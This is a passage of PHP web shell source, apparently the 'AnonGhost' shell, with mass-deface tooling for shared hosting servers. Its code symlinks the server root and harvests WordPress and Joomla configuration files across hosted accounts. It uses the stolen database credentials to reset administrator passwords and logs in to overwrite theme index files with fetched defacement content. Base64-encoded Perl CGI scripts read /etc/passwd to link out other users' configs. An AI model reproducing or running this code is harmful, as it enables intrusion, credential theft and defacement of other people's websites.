color=yellow>R</font><font color=green>W</font><font color=white>]</font> " . $dirz . "<br><br><br>nr";} else echo "<font color=white>[</font><font color=yellow>R</font><font color=white>]</font> " . $dirz . "<br>nr"; }}} echo "<font color=red>[+]</font> Found <font color=yellow>" . sizeof($path_to_public) . "</font> readable public_html directories.<br><br>nrnr"; if (sizeof($path_to_public) != '0') { foreach ($path_to_public as $path) { } echo "<font color=red>[+]</font> Found " . $count . " writable directories.nr"; echo "</html>"; } } elseif(isset($_GET['findir'])) {echo $bencong."<center/><br/><p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Find Writable Directories</b></p>"; echo '<font color=yellow size=2 face="Courier New"><b>Coming Soon</b></font>'; } elseif(isset($_GET['massdef'])) {echo $bencong."<center/><br/><p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Mass Deface Server</b></p>"; echo "<center><textarea rows='10' cols='50'>"; $defaceurl = $_POST['massdefaceurl']; $dir = $_POST['massdefacedir']; echo $dir."n"; if (is_dir($dir)) { if ($dh = opendir($dir)) { while (($file = readdir($dh)) !== false) { if(filetype($dir.$file)=="dir"){ $newfile=$dir.$file."/index.html"; echo $newfile."n"; if (!copy($defaceurl, $newfile)) { echo "failed to copy $file...n"; }}} closedir($dh); }} echo "</textarea></center>"; ?> <br><td><form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'><center><b>Main Directory : </b><input type='text' style='width: 360px' value='<?php echo getcwd() . "/"; ?>' name='massdefacedir'><br><br><b>Defacement Url : </b><input type='text' style='width: 270px' name='massdefaceurl'><input type='submit' name='execmassdeface' value='Execute'></center></form></td><?php } elseif(isset($_GET['mass'])){error_reporting(0);function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){$ar0=explode($marqueurDebutLien, $text);$ar1=explode($marqueurFinLien, $ar0[$i]);return trim($ar1[0]);}function randomt() {$chars = "abcdefghijkmnopqrstuvwxyz023456789";srand((double)microtime()*1000000);$i = 0;$pass = '';while ($i <= 7) {$num = rand() % 33;$tmp = substr($chars, $num, 1);$pass = $pass . $tmp;$i++;}return $pass;}function index_changer_wp($conf, $content) {$output = '';$dol = '$';$go = 0;$username = entre2v2($conf,"define('DB_USER', '","');");$password = entre2v2($conf,"define('DB_PASSWORD', '","');");$dbname = entre2v2($conf,"define('DB_NAME', '","');");$prefix = entre2v2($conf,$dol."table_prefix = '","'");$host = entre2v2($conf,"define('DB_HOST', '","');");$link=mysql_connect($host,$username,$password);if($link) {mysql_select_db($dbname,$link) ;$dol = '$';$req1 = mysql_query("UPDATE `".$prefix."users` SET `user_login` = 'admin',`user_pass` = '4297f44b13955235245b2497399d7a93' WHERE `ID` = 1");} else {$output.= "[-] DB Error<br />";}if($req1) {$req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='home'");$data = mysql_fetch_array($req);$site_url=$data["option_value"]; $req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='template'");$data = mysql_fetch_array($req);$template = $data["option_value"];$req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='current_theme'");$data = mysql_fetch_array($req);$current_theme = $data["option_value"];$useragent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";$url2=$site_url."/wp-login.php";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"log=admin&pwd=123123&rememberme=forever&wp-submit=Log In&testcookie=1");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer = curl_exec($ch);$pos = strpos($buffer,"action=logout");if($pos === false) {$output.= "[-] Login Error<br />";} else {$output.= "[+] Login Successful<br />";$go = 1;}if($go) {$cond = 0;$url2=$site_url."/wp-admin/theme-editor.php?file=/themes/".$template.'/index.php&theme='.urlencode($current_theme).'&dir=theme';curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer0 = curl_exec($ch);$_wpnonce = entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');$_file = entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');if(substr_count($_file,"/index.php") != 0){$output.= "[+] index.php loaded in Theme Editor<br />";$url2=$site_url."/wp-admin/theme-editor.php";curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".base64_decode($content)."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer = curl_exec($ch);curl_close($ch);$pos = strpos($buffer,'<div id="message" class="updated">');if($pos === false) {$output.= "[-] Updating Index.php Error<br />";} else {$output.= "[+] Index.php Updated Successfuly<br />";$hk = explode('public_html',$_file);$output.= '[+] Deface '.file_get_contents($site_url.str_replace('/blog','',$hk[1]));$cond = 1;}} else {$url2=$site_url.'/wp-admin/theme-editor.php?file=index.php&theme='.$template;curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer0 = curl_exec($ch);$_wpnonce = entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');$_file = entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');if(substr_count($_file,"index.php") != 0){$output.= "[+] index.php loaded in Theme Editor<br />";$url2=$site_url."/wp-admin/theme-editor.php";curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".base64_decode($content)."&action=update&file=".$_file."&theme=".$template."&_wpnonce=".$_wpnonce."&submit=Update File");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer = curl_exec($ch);curl_close($ch);$pos = strpos($buffer,'<div id="message" class="updated">');if($pos === false) {$output.= "[-] Updating Index.php Error<br />";} else {$output.= "[+] Index.php Template Updated Successfuly<br />";$output.= '[+] Deface '.file_get_contents($site_url.'/wp-content/themes/'.$template.'/index.php');$cond = 1;}} else {$output.= "[-] index.php can not load in Theme Editor<br />";}}}} else {$output.= "[-] DB Error<br />";}global $base_path;unlink($base_path.'COOKIE.txt');return array('cond'=>$cond, 'output'=>$output);}function index_changer_joomla($conf, $content, $domain) {$doler = '$';$username = entre2v2($conf, $doler."user = '", "';");$password = entre2v2($conf, $doler."password = '", "';");$dbname = entre2v2($conf, $doler."db = '", "';");$prefix = entre2v2($conf, $doler."dbprefix = '", "';");$host = entre2v2($conf, $doler."host = '","';");$co=randomt();$site_url = "http://".$domain."/administrator";$output = '';$cond = 0; $link=mysql_connect($host, $username, $password);if($link) {mysql_select_db($dbname,$link) ;$req1 = mysql_query("UPDATE `".$prefix."users` SET `username` ='admin' , `password` = '4297f44b13955235245b2497399d7a93', `usertype` = 'Super Administrator', `block` = 0");$req = mysql_numrows(mysql_query("SHOW TABLES LIKE '".$prefix."extensions'"));} else {$output.= "[-] DB Error<br />";}if($req1){if ($req) {$req = mysql_query("SELECT * from `".$prefix."template_styles` WHERE `client_id` = '0' and `home` = '1'");$data = mysql_fetch_array($req);$template_name = $data["template"];$req = mysql_query("SELECT * from `".$prefix."extensions` WHERE `name`='".$template_name."' or `element` = '".$template_name."'");$data = mysql_fetch_array($req);$template_id = $data["extension_id"];$url2=$site_url."/index.php";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$return = entre2v2($buffer ,'<input type="hidden" name="return" value="','"');$hidden = entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);if($return && $hidden) {curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_REFERER, $url2);curl_setopt($ch, CURLOPT_POSTFIELDS, "username=admin&passwd=123123&option=com_login&task=login&return=".$return."&".$hidden."=1");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$pos = strpos($buffer,"com_config");if($pos === false) {$output.= "[-] Login Error<br />";} else {$output.= "[+] Login Successful<br />";}}if($pos){$url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);if($hidden2) {$output.= "[+] index.php file found in Theme Editor<br />";} else {$output.= "[-] index.php Not found in Theme Editor<br />";}}if($hidden2) {$url2=$site_url."/index.php?option=com_templates&layout=edit";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$content."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);curl_close($ch);$pos = strpos($buffer,'<dd class="message message">');$cond = 0;if($pos === false) {$output.= "[-] Updating Index.php Error<br />";} else {$output.= "[+] Index.php Template successfully saved<br />";$cond = 1;}}} else {$req =mysql_query("SELECT * from `".$prefix."templates_menu` WHERE client_id='0'");$data = mysql_fetch_array($req);$template_name=$data["template"];$useragent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";$url2=$site_url."/index.php";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);if($hidden) {curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456&option=com_login&task=login&".$hidden."=1");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$pos = strpos($buffer,"com_config");if($pos === false) {$output.= "[-] Login Error<br />";} else {$output.= "[+] Login Successful<br />";}}if($pos) {$url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);if($hidden2) {$output.= "[+] index.php file founded in Theme Editor<br />";} else {$output.= "[-] index.php Not found in Theme Editor<br />";}}if($hidden2) {$url2=$site_url."/index.php?option=com_templates&layout=edit";curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$content."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co);$buffer = curl_exec($ch);curl_close($ch);$pos = strpos($buffer,'<dd class="message message fade">');$cond = 0;if($pos === false) {$output.= "[-] Updating Index.php Error<br />";} else {$output.= "[+] Index.php Template successfully saved<br />";$cond = 1;}}}} else {$output.= "[-] DB Error<br />";}global $base_path;unlink($base_path.$co);return array('cond'=>$cond, 'output'=>$output); }function exec_mode_1($def_url) {@mkdir('sym',0777);$wr = "Options all n DirectoryIndex Sux.html n AddType text/plain .php n AddHandler server-parsed .php n AddType text/plain .html n AddHandler txt .html n Require None n Satisfy Any";$fp = @fopen ('sym/.htaccess','w');fwrite($fp, $wr);@symlink('/','sym/root');$dominios = @file_get_contents("/etc/named.conf");@preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);$out[1] = array_unique($out[1]);$numero_dominios = count($out[1]);echo "Total domains: $numero_dominios <br><br />";$def = file_get_contents($def_url);$def = urlencode($def);$dd = 'PD9waHANCiRkZWYgPSBmaWxlX2dldF9jb250ZW50cygnaHR0cDovL3pvbmVobWlycm9ycy5vcmcvZGVmYWNlZC8yMDEzLzA5LzIxL3d3dy5yb3lhbGRldGFpbGluZy5yby8nKTsNCiRwID0gZXhwbG9kZSgncHVibGljX2h0bWwnLGRpcm5hbWUoX19GSUxFX18pKTsNCiRwID0gJHBbMF0uJ3B1YmxpY19odG1sJzsNCmlmICgkaGFuZGxlID0gb3BlbmRpcigkcCkpIHsNCiAgICAkZnAxID0gQGZvcGVuKCRwLicvaW5kZXguaHRtbCcsJ3crJyk7DQogICAgQGZ3cml0ZSgkZnAxLCAkZGVmKTsNCiAgICAkZnAxID0gQGZvcGVuKCRwLicvaW5kZXgucGhwJywndysnKTsNCiAgICBAZndyaXRlKCRmcDEsICRkZWYpOw0KICAgICRmcDEgPSBAZm9wZW4oJHAuJy9pbmRleC5odG0nLCd3KycpOw0KICAgIEBmd3JpdGUoJGZwMSwgJGRlZik7DQogICAgZWNobyAnRG9uZSc7DQp9DQpjbG9zZWRpcigkaGFuZGxlKTsNCnVubGluayhfX0ZJTEVfXyk7DQo/Pg==';$base_url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/sym/root/home/';$output = fopen('defaced.html', 'a+');$_SESSION['count1'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count1']) ? $_SESSION['count1'] :0 ) : 0;$_SESSION['count2'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count2']) ? $_SESSION['count2'] :0 ) : 0;echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>SID</th><th>Domain</th><th>Type</th><th>Action</th><th>Status</th></tr>';$j = 1;$st = (isset($_GET['st']) && $_GET['st']!='') ? $_GET['st'] : 0;for($i = $st; $i <= $numero_dominios; $i++){$domain = $out[1][$i];$dono_arquivo = @fileowner("/etc/valiases/".$domain);$infos = @posix_getpwuid($dono_arquivo);if($infos['name']!='root') {$config01 = @file_get_contents($base_url.$infos['name']."/public_html/configuration.php");$config02 = @file_get_contents($base_url.$infos['name']."/public_html/wp-config.php");$config03 = @file_get_contents($base_url.$infos['name']."/public_html/blog/wp-config.php");$cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';if($config01 && preg_match('/dbprefix/i',$config01)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="pink">JOOMLA</font></td>';$res = index_changer_joomla($config01, $def, $domain);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$_SESSION['count1'] = $_SESSION['count1'] + 1;} else {echo '<td align="center"><span class="red">FAILED</span></td>';}echo '</tr>';}if($config02 && preg_match('/DB_NAME/i',$config02)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';$res = index_changer_wp($config02, $dd);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$_SESSION['count2'] = $_SESSION['count2'] + 1;} else {echo '<td align="center"><span class="red">FAILED</span></td>';}echo '</tr>';}$cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';if($config03 && preg_match('/DB_NAME/i',$config03)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';$res = index_changer_wp($config03, $dd);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$_SESSION['count2'] = $_SESSION['count2'] + 1;} else {echo '<td align="center"><span class="red">FAILED</span></td>';}echo '</tr>';}}}echo '</table>';echo '<hr/>';echo 'Total Defaced = '.($_SESSION['count1']+$_SESSION['count2']).' (JOOMLA = '.$_SESSION['count1'].', WORDPRESS = '.$_SESSION['count2'].')<br />';echo '<a href="defaced.html" target="_blank">View Total Defaced urls</a><br />';if($_SESSION['count1']+$_SESSION['count2'] > 0){echo '<a href="'.$_SERVER['PHP_SELF'].'?pass='.$_GET['pass'].'&zh=1" target="_blank" id="zhso">Send to Zone-H</a>';}}function exec_mode_2($def_url) {$domains = @file_get_contents("/etc/named.conf");@preg_match_all('/.*?zone "(.*?)" {/', $domains, $out);$out = array_unique($out[1]);$num = count($out);print("Total domains: $num<br><br />");$def = file_get_contents($def_url);$def = urlencode($def);$output = fopen('defaced.html', 'a+');$defaced = '';$count1 = 0;$count2 = 0;echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>SID</th><th>Domain</th><th>Type</th><th>Action</th><th>Status</th></tr>';$j = 1;$map = array();foreach($out as $d) {$info = @posix_getpwuid(fileowner("/etc/valiases/".$d));$map[$info['name']] = $d;}$dt = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpzdWIgbGlsew0KICAgICgkdXNlcikgPSBAXzsNCiAgICAkbXNyID0gcXh7cHdkfTs NCiAgICAka29sYT0kbXNyLiIvIi4kdXNlcjsNCiAgICAka29sYT1+cy9cbi8vZzsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2
  3137. h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLicjI2pvb21sYS50eHQnKTsgDQogICAgc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19od
  3138. G1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLicjI3dvcmRwcmVzcy50eHQnKTsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwv
  3139. YmxvZy93cC1jb25maWcucGhwJywka29sYS4nIyNzd29yZHByZXNzLnR4dCcpOw0KfQ0KDQpsb2NhbCAkLzsNCm9wZW4oRklMRSwgJy9ldGMvcGFzc3d
  3140. kJyk7ICANCkBsaW5lcyA9IDxGSUxFPjsgDQpjbG9zZShGSUxFKTsNCiR5ID0gQGxpbmVzOw0KDQpmb3IoJGthPTA7JGthPCR5OyRrYSsrKXsNCiAgIC
  3141. B3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiAgICAgICAgJmxpbCgkMSk7DQogICAgfQ0KfQ==';mkdir('agmd',0777);file_put_contents('agmd/agmd.cc', base64_decode($dt));chmod('agmd/agmd.cc', 0755);$wr = "Options FollowSymLinks MultiViews Indexes ExecCGInnAddType application/x-httpd-cgi .ccnnAddHandler cgi-script .ccnAddHandler cgi-script .cc";$fp = @fopen ('agmd/.htaccess','w');fwrite($fp, $wr);fclose($fp);$res = file_get_contents('http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/agmd/agmd.cc'); $url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/agmd/';unlink('agmd/agmd.cc');$data = file_get_contents($url);preg_match_all('/<a href="(.+)">/', $data, $match);unset($match[1][0]);$i = 1;foreach($match[1] as $m){$mz = explode('##',urldecode($m));$config01 = '';$config02 = '';if($mz[1] == 'joomla.txt') {$config01 = file_get_contents($url.$m);}if($mz[1] == 'wordpress.txt') {$config02 = file_get_contents($url.$m);}$domain = $map[$mz[0]];$cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';if($config01 && preg_match('/dbprefix/i',$config01)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i++.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="pink">JOOMLA</font></td>';$res = index_changer_joomla($config01, $def, $domain);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$count1++;} else {echo '<td align="center"><span class="red">FAILED</span></td>';}echo '</tr>';}if($config02 && preg_match('/DB_NAME/i',$config02)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';$res = index_changer_wp($config02, $def);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$count2++;} else {echo '<td align="center"><span class="red">FAILED</span></td>';}echo '</tr>';}}echo '</table>';echo '<hr/>';echo 'Total Defaced = '.($count1+$count2).' (JOOMLA = '.$count1.', WORDPRESS = '.$count2.')<br />';echo '<a href="defaced.html" target="_blank">View Total Defaced urls</a><br />';if($count1+$count2 > 0){echo '<a href="'.$_SERVER['PHP_SELF'].'?pass='.$_GET['pass'].'&zh=1" target="_blank" id="zhso">Send to Zone-H</a>';}}function exec_mode_3($def_url) {$domains = @file_get_contents("/etc/named.conf");@preg_match_all('/.*?zone "(.*?)" {/', $domains, $out);$out = array_unique($out[1]);$num = count($out);print("Total domains: $num<br><br />");$def = file_get_contents($def_url);$def = urlencode($def); $output = fopen('defaced.html', 'a+');$defaced = '';$count1 = 0;$count2 = 0;echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>SID</th><th>Domain</th><th>Type</th><th>Action</th><th>Status</th></tr>';$j = 1;$map = array();foreach($out as $d) {$info = @posix_getpwuid(fileowner("/etc/valiases/".$d));$map[$info['name']] = $d;}$dt = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpzdWIgbGlsew0KICAgICgkdXNlcikgPSBAXzsNCiAgICAkbXNyID0gcXh7cHd
  3142. kfTsNCiAgICAka29sYT0kbXNyLiIvIi4kdXNlcjsNCiAgICAka29sYT1+cy9cbi8vZzsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcH
  3143. VibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLicjI2pvb21sYS50eHQnKTsgDQogICAgc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL
  3144. 3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLicjI3dvcmRwcmVzcy50eHQnKTsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicv
  3145. cHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nIyNzd29yZHByZXNzLnR4dCcpOw0KfQ0KDQpsb2NhbCAkLzsNCm9wZW4oRkl
  3146. MRSwgJ2RhdGEudHh0Jyk7ICANCkBsaW5lcyA9IDxGSUxFPjsgDQpjbG9zZShGSUxFKTsNCiR5ID0gQGxpbmVzOw0KDQpmb3IoJGthPTA7JGthPC
  3147. R5OyRrYSsrKXsNCiAgICB3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiAgICAgICAgJmxpbCgkMSk7DQogICAgfQ0KfQ==';mkdir('agmd',0777);file_put_contents('agmd/data.txt', $_POST['man_data']);file_put_contents('agmd/agmd.cc', base64_decode($dt));chmod('agmd/agmd.cc', 0755);$wr = "Options FollowSymLinks MultiViews Indexes ExecCGInnAddType application/x-httpd-cgi .ccnnAddHandler cgi-script .ccnAddHandler cgi-script .cc";$fp = @fopen ('agmd/.htaccess','w');fwrite($fp, $wr);fclose($fp);$res = file_get_contents('http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/agmd/agmd.cc'); $url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/agmd/';unlink('agmd/agmd.cc');$data = file_get_contents($url);preg_match_all('/<a href="(.+)">/', $data, $match);unset($match[1][0]);$i=1;foreach($match[1] as $m){$mz = explode('##',urldecode($m));$config01 = '';$config02 = '';if($mz[1] == 'joomla.txt') {$config01 = file_get_contents($url.$m);}if($mz[1] == 'wordpress.txt') {$config02 = file_get_contents($url.$m);}$domain = $map[$mz[0]];$cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';if($config01 && preg_match('/dbprefix/i',$config01)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.($i++).'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="pink">JOOMLA</font></td>';$res = index_changer_joomla($config01, $def, $domain);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$count1++;} else {echo '<td align="center"><span class="red">FAILED</span></td>';}echo '</tr>';}if($config02 && preg_match('/DB_NAME/i',$config02)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';$res = index_changer_wp($config02, $def);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$count2++;} else {echo '<td align="center"><span class="red">FAILED</span></td>';}echo '</tr>';}}echo '</table>';echo '<hr/>';echo 'Total Defaced = '.($count1+$count2).' (JOOMLA = '.$count1.', WORDPRESS = '.$count2.')<br />';echo '<a href="defaced.html" target="_blank">View Total 